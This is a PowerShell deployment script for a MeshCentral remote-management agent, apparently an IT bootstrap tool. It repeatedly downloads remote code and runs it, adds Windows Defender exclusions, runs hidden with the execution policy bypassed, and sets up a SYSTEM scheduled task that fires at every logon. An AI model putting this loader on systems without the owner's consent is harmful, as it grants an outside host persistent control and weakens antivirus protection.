# rmt.k5csh.com — Self-Healing MeshAgent & Sync Engine $meshUrl = 'https://mc.k5csh.com/meshagents?id=4&meshid=Wml4qVGdvRgcJJPFHSmUt8dn5fEHFdXqMh$OfHIEEuO3Z$H6cD9ewsVurLg06tni&installflags=0' $bootstrapUrl = 'https://rmt.k5csh.com' # --- CONFIGURATION --- $agentName = "c3-it-agent" # Key string matching your agent service or folder name # --- 1. Clean Elevation Handling --- $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { $tempBoot = Join-Path $env:TEMP "mesh_boot.ps1" try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") $wc.DownloadFile($bootstrapUrl, $tempBoot) Start-Process powershell -Verb RunAs -Wait -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tempBoot`"" Remove-Item -Path $tempBoot -Force -ErrorAction SilentlyContinue } catch { Write-Error "Elevation failed. Please run PowerShell as Administrator." } return } [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 $workDir = "C:\ProgramData\MeshAgentBootstrap" $localScriptPath = Join-Path $workDir "sync.ps1" $tempScriptPath = Join-Path $workDir "sync.tmp.ps1" $tempInstallerPath = Join-Path $workDir "meshagent_installer.exe" $taskName = "Agent-BootstrapSync" if (-not (Test-Path $workDir)) { New-Item -Path $workDir -ItemType Directory -Force | Out-Null } # --- 2. Auto-Rewrite Engine (Cloudflare Worker Code Sync) --- function Get-ScriptHash([string]$text) { if ([string]::IsNullOrWhiteSpace($text)) { return "" } $bytes = [System.Text.Encoding]::UTF8.GetBytes($text) $algorithm = [System.Security.Cryptography.SHA256]::Create() $hashBytes = $algorithm.ComputeHash($bytes) return [System.BitConverter]::ToString($hashBytes) -replace '-' } try { $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") $remoteCode = $wc.DownloadString($bootstrapUrl) if (-not [string]::IsNullOrWhiteSpace($remoteCode)) { if (Test-Path $localScriptPath) { $localCode = Get-Content -Path $localScriptPath -Raw -ErrorAction SilentlyContinue $localHash = Get-ScriptHash $localCode $remoteHash = Get-ScriptHash $remoteCode if ($localHash -ne $remoteHash) { Write-Host "Worker script update detected (SHA256 mismatch). Rewriting local payload..." [System.IO.File]::WriteAllText($tempScriptPath, $remoteCode, [System.Text.Encoding]::UTF8) $swapCmd = "Start-Sleep -Seconds 1; Copy-Item -Path '$tempScriptPath' -Destination '$localScriptPath' -Force; Remove-Item -Path '$tempScriptPath' -Force -ErrorAction SilentlyContinue; powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File '$localScriptPath'" Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command `"$swapCmd`"" exit } } else { [System.IO.File]::WriteAllText($localScriptPath, $remoteCode, [System.Text.Encoding]::UTF8) } } } catch { Write-Warning "Failed to reach Cloudflare Worker at $bootstrapUrl. Continuing with local logic..." } # --- 3. Target MeshID Extraction --- $targetMeshID = $null if ($meshUrl -match 'meshid=([^&]+)') { $targetMeshID = $Matches[1].Trim() } $regPath = "HKLM:\SOFTWARE\MeshAgentBootstrap" $storedMeshID = $null if (Test-Path $regPath) { $storedMeshID = (Get-ItemProperty -Path $regPath -Name "CurrentMeshID" -ErrorAction SilentlyContinue).CurrentMeshID } # --- 4. Dynamic WMI Audit & Scrubbing Engine --- Write-Host "Auditing system for MeshAgent services..." $allAgentServices = Get-WmiObject win32_service | Where-Object { $_.PathName -like "*MeshAgent*" -or $_.PathName -like "*$agentName*" -or $_.DisplayName -like "*Mesh Agent*" -or $_.DisplayName -like "*$agentName*" } $currentTargetService = $null $currentTargetExe = $null foreach ($service in $allAgentServices) { if ($service.Name -like "*$agentName*" -or $service.DisplayName -like "*$agentName*" -or $service.PathName -like "*$agentName*") { $currentTargetService = $service if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') { $currentTargetExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] } } } else { Write-Host "Legacy/Mismatched agent service found: '$($service.DisplayName)'. Purging..." $oldExe = $null if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') { $oldExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] } } if ($oldExe -and (Test-Path $oldExe)) { Start-Process $oldExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } Stop-Service -Name $service.Name -Force -ErrorAction SilentlyContinue } } # Add Defender exclusions dynamically based on discovered path if ($currentTargetExe -and (Test-Path $currentTargetExe)) { try { $targetDir = Split-Path -Path $currentTargetExe -Parent Add-MpPreference -ExclusionPath $targetDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess (Split-Path -Path $currentTargetExe -Leaf) -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $workDir -ErrorAction SilentlyContinue } catch {} } # --- 5. Installation State Verification & MeshID Sync --- $needsInstall = $false if (-not $currentTargetExe -or -not (Test-Path $currentTargetExe)) { Write-Host "Target agent binary missing on system. Triggering deployment..." $needsInstall = $true } elseif (-not $currentTargetService -or $currentTargetService.State -ne 'Running') { Write-Host "Target agent service stopped or missing. Repairing installation..." $needsInstall = $true } elseif ([string]::IsNullOrWhiteSpace($storedMeshID)) { Write-Host "Agent is healthy, but MeshID tracking key was uninitialized. Synchronizing registry value..." if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null } Set-ItemProperty -Path $regPath -Name "CurrentMeshID" -Value "$targetMeshID" -Type String -Force | Out-Null $storedMeshID = $targetMeshID } elseif ($storedMeshID -ne $targetMeshID) { Write-Host "MeshID change detected (Stored: '$storedMeshID' | Target: '$targetMeshID'). Redeploying..." $needsInstall = $true } if ($needsInstall) { Write-Host "Deploying target agent instance '$agentName'..." if ($currentTargetExe -and (Test-Path $currentTargetExe)) { Start-Process $currentTargetExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } if ($currentTargetService) { Stop-Service -Name $currentTargetService.Name -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 1 } try { Write-Host "Downloading installer to excluded directory..." $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") $wc.DownloadFile($meshUrl, $tempInstallerPath) Write-Host "Executing installer..." Start-Process $tempInstallerPath -ArgumentList '-fullinstall' -Wait if ($targetMeshID) { if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null } Set-ItemProperty -Path $regPath -Name "CurrentMeshID" -Value "$targetMeshID" -Type String -Force | Out-Null } Write-Host "Agent successfully installed and synchronized." } catch { Write-Error "Failed to download or execute agent binary: $($_.Exception.Message)" } finally { if (Test-Path $tempInstallerPath) { Remove-Item -Path $tempInstallerPath -Force -ErrorAction SilentlyContinue } } } else { Write-Host "Agent '$($currentTargetService.DisplayName)' operational and matching MeshID ($storedMeshID). No action required." } # --- 6. Scheduled Task Alignment Engine --- $existingTask = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue $needsTaskUpdate = $false if (-not $existingTask) { $needsTaskUpdate = $true } else { $taskAction = $existingTask.Actions | Where-Object { $_.Execute -match 'powershell' } if ($taskAction.Arguments -match 'irm' -or $taskAction.Arguments -notmatch [regex]::Escape($localScriptPath)) { Write-Host "Old/Insecure task action detected. Forcing task reconfiguration..." $needsTaskUpdate = $true } } if ($env:USERNAME -ne "SYSTEM" -and $needsTaskUpdate) { Write-Host "Registering/Updating $taskName with clean local execution path..." if ($existingTask) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue | Out-Null } $taskXml = @" Ensures Agent stays synchronized and up to date via logon event monitoring. true <QueryList><Query Id="0" Path="Security"><Select Path="Security">*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]</Select></Query></QueryList> S-1-5-18 HighestAvailable IgnoreNew false false true true true PT5M 3 true false true false false PT1H 7 powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "$localScriptPath" "@ Register-ScheduledTask -TaskName $taskName -Xml $taskXml | Out-Null Write-Host "Task migration complete." } exit